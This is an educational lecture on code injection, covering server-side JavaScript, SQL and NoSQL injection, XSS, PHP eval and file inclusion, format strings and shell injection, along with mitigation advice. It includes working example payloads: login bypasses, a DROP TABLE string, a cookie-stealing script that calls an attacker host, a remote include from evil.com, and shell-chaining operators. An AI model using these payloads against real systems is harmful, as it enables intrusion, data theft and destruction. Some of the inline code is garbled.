Lecture
Interpreted programming languages have given rise to one of the most interesting and popular vulnerabilities — code injection.
There are quite a few platforms that allow code to be run on the fly, and JavaScript (Node.js) is no exception. In fact, an attacker only needs to find a way to enter text that the application interprets as executable code.
By exploiting such an opportunity, entering a string like while(1) or process.kill(process.pid) can instantly bring the program down (Denial of Service/DoS).
But how does it happen that text passed to the server is executed as if it were code? Take a look at the image below (perhaps you did not know about such capabilities of JavaScript):

I know the question that immediately comes to mind: who would pass a callback as a string in a real application, or use the infamous, evil eval()? Yes, that is right, it is not a very common occurrence.
However, developers resort to all sorts of tricks to make a hotfix. And how confident are you in the libraries you use? Functions of the eval() family are often used in the implementation of template engines. PayPal, at one time, used the JavaScript template engine Dust.js on the server side (a library from LinkedIn). Some particularly clever folks were able to take advantage of the eval() function, which was called in the ‘if’ helper, and get something interesting as a result (for example, $10,000 for the vulnerability found).
A programmer should remember that the functions eval(), Function(), setTimeout() and setInterval() harbor a danger called code injection. By the way, the last two are not dangerous on the Node.js platform:

But that holds only until the first monkey patching. This attack vector, among other code injections, has received a separate name and abbreviation — Server-Side JavaScript Injection (SSJSI).
Denial of Service (DoS) is not the only thing an attacker can bring about through SSJSI. Being familiar with the nuances of the Express.js framework and the CommonJS standard (which, by the way, is used not only in Node.js but also, for example, in CouchDB), and having some command of the synchronous API of the fs module, one can gain access to files on the server:


Or gain access to the contents of server files. In my opinion, this is much more interesting. One could, for example, find a configuration file of AWS instances, after which the attacker could use those instances for their nefarious purposes, and the victim would not notice it right away, if at all.
> res.end(require(‘fs’).readFileSync(‘./package.json’).toString())

Using the same rich functionality of the Node.js platform, an attacker can easily invoke external scripts and executable files:
> require(‘child_process’).execSync(‘command’);


Databases are a separate topic. Any DB (RDBMS or NoSQL) is an external program with which we communicate by means of executable commands. Whether it is the SQL language or JSON notation, it all comes down to correctly terminating the original query and injecting your own command. The Achilles' heel of this scheme of communication between an application and a DB has always been parameterized queries and their incorrect handling.
One of the most popular SQL injections is writing a value into a parameter with a tail like ‘OR 1=1’

However, there are other tricks as well, for example, commenting out the rest of the query with -- ... or /* ...
MySQL (SQL): enter the string admin' -- in the username field

In NoSQL the principle is the same; the attacker only needs to figure out the expressions that are built on the basis of JSON notation.
MongoDB (JSON): enter the string {$gt : ""} in the password field. In MongoDB this expression means “greater than”. And since every user has a non-empty password, an attacker exploiting this injection only needs to know the user's login.

There are even more interesting features, such as the execution of JS code. In MongoDB as well, the $where operator can fully interpret JS code, and the very same while(1) string will bring the DB to a denial of service.
By the way, there are in fact many more kinds of injections. SSJSI and SQLi are what we encounter most often. But there is also a great deal of specific exotica, such as LDAP Injection, XEE Injection, OS Command Injection, XPath Injection, SSI Injection, and so on. As of 2017, code injection is still at the top of the OWASP list, and I think this trend will persist for a long time.
1First of all, it is worth mentioning the frameworks and libraries themselves: many vendors provide useful information on how exactly to organize your application properly in terms of security. For example, the Express.js website has a very useful page, “Best Practices: Security”.
2The same vulnerability scanners can help in this difficult task. For SQLi there is the very popular sqlmap. Metasploit, which I mentioned in the previous note, can also scan an application for SQLi.
3Use directives that enable strict mode. In JavaScript, the “use strict” directive imposes quite a few restrictions on eval().
4Do not give the application root privileges. Yes, Node.js is also the application server itself, and under sudo you can listen on port 80, but do not do this in production. Better not to do it at all. Follow the principle of Least Privilege. To minimize the potential damage from a successful injection attack, do not assign DBA or administrator access rights to the credentials under which your application establishes its DB connections.
5Validate input data. Use escaping functions and input sanitizing. Many DB libraries already come with a couple of useful functions out of the box: mysql.escape(), connection.escape(), pool.escape(). Instead of eval(), use dedicated parsing functions (JSON.parse(), parseInt(), parseFloat()).
6Prepare DB queries (prepared statements) and avoid dynamically building queries. Many tools are already equipped with functions for this.
Code injection - is the exploitation of a computer bug that is caused by processing invalid data . Injection is used by an attacker to introduce (or “inject”) code into a vulnerable computer program and change the course of execution . The result of successful code injection can be disastrous, for example, because of the possibility of spreading computer viruses or computer worms .
Code injection vulnerabilities occur when an application sends untrusted data to an interpreter . Injection flaws are most often found in SQL , LDAP , XPath or NoSQL queries; OS commands; XML parsers , SMTP headers, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than when testing. Scanners and fuzzers can help find injection flaws.
Injection can result in data loss or corruption, lack of accountability, or denial of access . Injection can sometimes lead to complete host takeover.
Some types of code injection are interpretation errors that give special meaning to user input. Similar interpretation errors exist outside the world of computer science, for example in the comedy routine “ Who's on First?” . In everyday life, people fail to distinguish proper names from ordinary words. Similarly, with some types of code injection, the system fails to distinguish user input from system commands.
Code injection techniques are popular in system hacking or cracking to gain information, escalate privileges or obtain unauthorized access to a system. Code injection can be used maliciously for many purposes, including:
In 2008, 5.66% of all vulnerabilities discovered that year were classified as code injection, the highest figure in the entire history of observation. In 2015, this figure fell to 0.77%.
Code injection can be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without any malicious intent. Code injection could, for example:
Some users may be unaware of code injection because the data they enter into a program was not anticipated by those who originally designed the system. For example:
Another benign use of code injection may be the discovery of injection flaws themselves in order to fix them. This is known as a white hat penetration test .
To prevent code injection problems, use secure input and output handling, such as:
htmlspecialchars()function is used to escape special characters for safely outputting text in HTML, and mysqli::real_escape_string()to isolate data that will be included in an SQL query, to protect against SQL injection.HttpOnlyis a flag for HTTP cookies that, when set, does not allow client-side script to interact with cookies, thereby preventing certain XSS attacks. The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. However, when injecting user code onto a user's computer, other approaches must be used, which leads to privilege escalation attacks. Here are some approaches that are used to detect and isolate managed and unmanaged code injections:
SQL injection uses SQL syntax to input commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page with two fields that allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of usernames:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password'
If this query returns any rows, access is granted. However, if a malicious user enters a valid username and enters valid code ( password' OR '1'='1) in the "Password" field, then the resulting query will look like this:
SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1'
In the example above, "Password" is assumed to be an empty string or some harmless string. " '1'='1'" will always be true, and many rows will be returned, thereby granting access.
The technique can be refined to allow multiple statements to run, or even to load and run external programs.
Suppose a query has the following format:
SELECT User.UserID FROM User WHERE User.UserID = ' " + UserID + " ' AND User.Pwd = ' " + Password + " '
If an attacker has the following input:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
the query will be parsed as follows:
SELECT User.UserID FROM User WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
As a result, the User table will be deleted from the database. This happens because the ; character marks the end of one command and the start of a new one. -- marks the start of a comment.
Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script that accepts short messages from users and usually receives messages such as:
Very nice site!
However, an attacker may know about a code injection vulnerability in the guestbook and enter a message such as:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
If another user views the page, the injected code will be executed. This code may allow the attacker to impersonate another user. However, the same software bug can also be triggered accidentally by an unsuspecting user, causing bad HTML code to be displayed on the website.
HTML and script injection is a popular topic, commonly called "cross-site scripting" or "XSS". XSS refers to an injection flaw in which user input to a web script or something similar is placed into the output HTML without being checked for HTML code or scripts.
Many of these problems are related to erroneous assumptions about what input is possible, or to the effects of special data. [12]
An injection vulnerability arises when an attacker can control all or part of an input string that is passed to a function call. [13]eval()eval()
$myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');
The "eval" argument will be processed as PHP , so additional commands can be appended. For example, if "arg" is set to " ", additional code is run that executes a program on the server, in this case " ". 10; system('/bin/echo uh-oh')/bin/echo
PHP allows the serialization and deserialization of whole objects . If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and carry out malicious attacks. [14] A similar attack on Joomla was discovered in 2013. [15]
Consider this PHP program (which includes a file specified by the request):
<?php $color = 'blue'; if (isset($_GET['color'])) $color = $_GET['color']; require($color . '.php');
The example is meant to be read as allowing only color files blue.php and red.php to be loaded, while attackers can supply COLOR=http://evil.com/exploit to cause an external PHP file to be loaded.
Format string bugs most commonly appear when a programmer wants to print a string containing user-supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string and parses any formatting instructions it may contain. The second version simply prints the string to the screen, as the programmer intended. Consider the following short C program, which has a local character array variable password containing a password; the program asks the user for an integer and a string, and then prints the string entered by the user.
char user_input[100]; int int_in; char password[10] = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s, then printf() will start reading from the stack . Eventually, one of the %s format specifiers will access the address of password, which is on the stack, and will print Password1 to the screen.
Shell injection (or command injection [16] ) is named after Unix shells , but applies to most systems that allow software to programmatically execute a command line . Here is an example of a vulnerable tcsh script:
#!/bin/tcsh # check arg outputs it matches if arg is one if ($1 == 1) echo it matches
If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with a constant. Here the attacked code is the code that tries to check the parameter, the very code that may have been trying to check the parameter in order to defend against an attack. [17]
Any function that can be used to compose and execute a shell command is a potential vehicle for launching a shell injection attack. These include system(), StartProcess() and System.Diagnostics.Process.Start().
Client-server systems, such as the interaction of a web browser with web servers , are potentially vulnerable to shell injection. Consider the following short PHP program, which can be run on a web server to run an external program called funnytext to replace a word submitted by the user with another word.
<? php passthru ( "/bin/funnytext" . $ _GET ['USER_INPUT']);
In the example above, passthru composes a shell command that is then executed by the web server. Since part of the command being composed is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. It is possible to inject code into this program in several ways, using the syntax of various shell features (this list is not exhaustive):
| Shell feature | USER_INPUT value |
Resulting shell command | Explanation |
|---|---|---|---|
| Sequential execution | ; malicious_command |
/bin/funnytext ; malicious_command |
Executes funnytext, then executes malicious_command. |
| Pipelines | | malicious_command |
/bin/funnytext | malicious_command |
Sends the output of funnytext as input to malicious_command. |
| Command substitution | `malicious_command` |
/bin/funnytext `malicious_command` |
Sends the output of malicious_command as arguments to funnytext. |
| Command substitution | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Sends the output of malicious_command as arguments to funnytext. |
| AND list | && malicious_command |
/bin/funnytext && malicious_command |
Executes malicious_command iff funnytext returns an exit status of 0 (success). |
| OR list | || malicious_command |
/bin/funnytext || malicious_command |
Executes malicious_command iff funnytext returns a nonzero exit status (error). |
| Output redirection | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Overwrites the contents the .bashrc file with the output of funnytext. |
| Input redirection | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Sends the contents of the .bashrc file as input to funnytext. |
Some languages offer functions to properly escape or quote strings that are used to construct shell commands:
escapeshellarg() and escapeshellcmd()shlex.quote()However, this still burdens programmers with knowing/learning these functions and remembering to use them every time they use shell commands. In addition to using these functions, validating or sanitizing user input is also recommended.
A safer alternative is to use APIs that execute external programs directly, rather than through a shell, which prevents the possibility of shell injection. However, these APIs tend not to support various convenience features of shells and/or are more cumbersome/verbose compared to the concise shell syntax.
Comments